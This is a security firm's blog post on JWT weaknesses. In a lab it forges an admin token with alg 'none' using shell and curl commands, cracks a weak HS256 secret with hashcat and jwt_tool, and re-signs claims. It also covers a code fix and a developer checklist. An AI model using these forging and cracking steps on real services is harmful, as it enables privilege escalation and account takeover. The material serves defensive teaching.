JSON Web Tokens (JWTs) are everywhere: single page apps, mobile back ends, microservices. A JWT is only as safe as the way the server verifies it. Two mistakes keep appearing in assessments: accepting the none algorithm, and signing with a secret that can be guessed offline. Both let an attacker mint a token that says "I am admin".
Key takeaways
- A JWT is only as safe as its verification: pin the algorithm and reject none.
- A guessable HS256 secret can be cracked offline from one captured token, with no lockout.
- Use at least 32 random bytes, or asymmetric signing when several services verify tokens.
- Keep tokens short-lived and re-check roles on the server for sensitive actions.
Anatomy of a JWT in 60 seconds
A token has three base64url parts separated by dots: header, payload, signature.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsInJvbGUiOiJ1c2VyIn0.<signature>Decoded:
{ "alg": "HS256", "typ": "JWT" }
{ "sub": "42", "role": "user" }The signature proves the first two parts were not changed. If the server skips or mis-verifies that check, the claims can be edited freely. The role claim is the prize.
Attack 1: the none algorithm
The JWT specification defines alg: none for unsecured tokens. Some older libraries or hand-rolled verification code honour whatever algorithm the header declares. In the lab we log in as an ordinary user, then craft a new header and payload:
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"42","role":"admin"}' | base64 | tr '+/' '-_' | tr -d '=')
echo "$HEADER.$PAYLOAD." # note the trailing dot and empty signatureSend it to a protected route:
curl -s https://lab.example.test/api/admin/users \
-H "Authorization: Bearer $HEADER.$PAYLOAD."A vulnerable server answers 200 with the admin user list. A correct server answers 401. Some implementations only match the lowercase string, so testers also try None, NONE and nOnE.
Attack 2: cracking a weak HS256 secret
HS256 signs with a shared secret. If the secret is a dictionary word, it can be recovered offline from a single captured token, with no requests to the server and no lockout. In the lab the secret is company2024.
Save the token to a file and run hashcat in JWT mode:
echo 'eyJhbGciOiJIUzI1NiIs...<full token>' > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txtOr use jwt_tool:
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txtIllustrative lab results:
| Secret type | Example | Cracked in |
|---|---|---|
| Dictionary word plus year | company2024 | 11 seconds |
| Default framework secret | secret | under 1 second |
| 12 random characters | k3Vq9xLw2Zpa | not within the test window |
| 32 random bytes | generated | infeasible |
Once the secret is known, the tester signs any claims they like:
python3 jwt_tool.py <token> -T -S hs256 -p "company2024"
# change role to admin when promptedThe forged token is accepted because its signature is mathematically valid.
Related issue: algorithm confusion
If a service uses RS256 (public/private key) but its verification code accepts HS256 too, an attacker can sign a token with HS256 using the server's public key as the secret. The public key is, by definition, not secret. The fix is the same as below: never let the token choose the algorithm.
The fix
// Vulnerable: library chooses the algorithm from the token header
const claims = jwt.verify(token, SECRET);
// Fixed: pin the algorithm and the expected claims
const claims = jwt.verify(token, SECRET, {
algorithms: ['HS256'],
issuer: 'https://api.example.test',
audience: 'example-web',
});A short checklist for developers:
- Pin the accepted algorithm list on the server. Reject
noneoutright. - Generate secrets from a cryptographic random source, at least 32 bytes, stored in a secrets manager.
- Prefer asymmetric signing (RS256 or EdDSA) when several services verify tokens.
- Keep tokens short-lived and rotate refresh tokens.
- Do not put authorization decisions only in client-editable claims; re-check roles server side for sensitive actions.
- Plan for revocation: a stolen token should be killable.
How we test this
During an authenticated web application test we decode every token, check the algorithm handling, attempt offline cracking against common wordlists, and verify that changing claims invalidates the session. It takes minutes and regularly turns up high severity findings.
Frequently asked questions
Are JWTs insecure?
No. They are secure when verified correctly. The problems come from implementation mistakes such as accepting the none algorithm, using weak secrets or trusting client-editable claims.
Should I use HS256 or RS256?
HS256 is fine with a strong random secret held by a single trusted service. Prefer RS256 or EdDSA when several services verify tokens, so verifiers never hold the signing key.
Where should a JWT be stored in the browser?
An HttpOnly, Secure, SameSite cookie is generally safer than localStorage against script theft, but it needs CSRF protection. The right choice depends on your architecture.
Related reading
- Broken Access Control in a CRM: Role Tampering and Deleting the Owner
- Stored XSS to Account Takeover: Why HttpOnly Cookies Alone Do Not Save You
- Our penetration testing and secure web development services
Further reading
Have our senior analysts test your application
Excelon Cyber Solutions runs web application, API and network penetration tests across India, with every finding reproduced and documented before it reaches your report.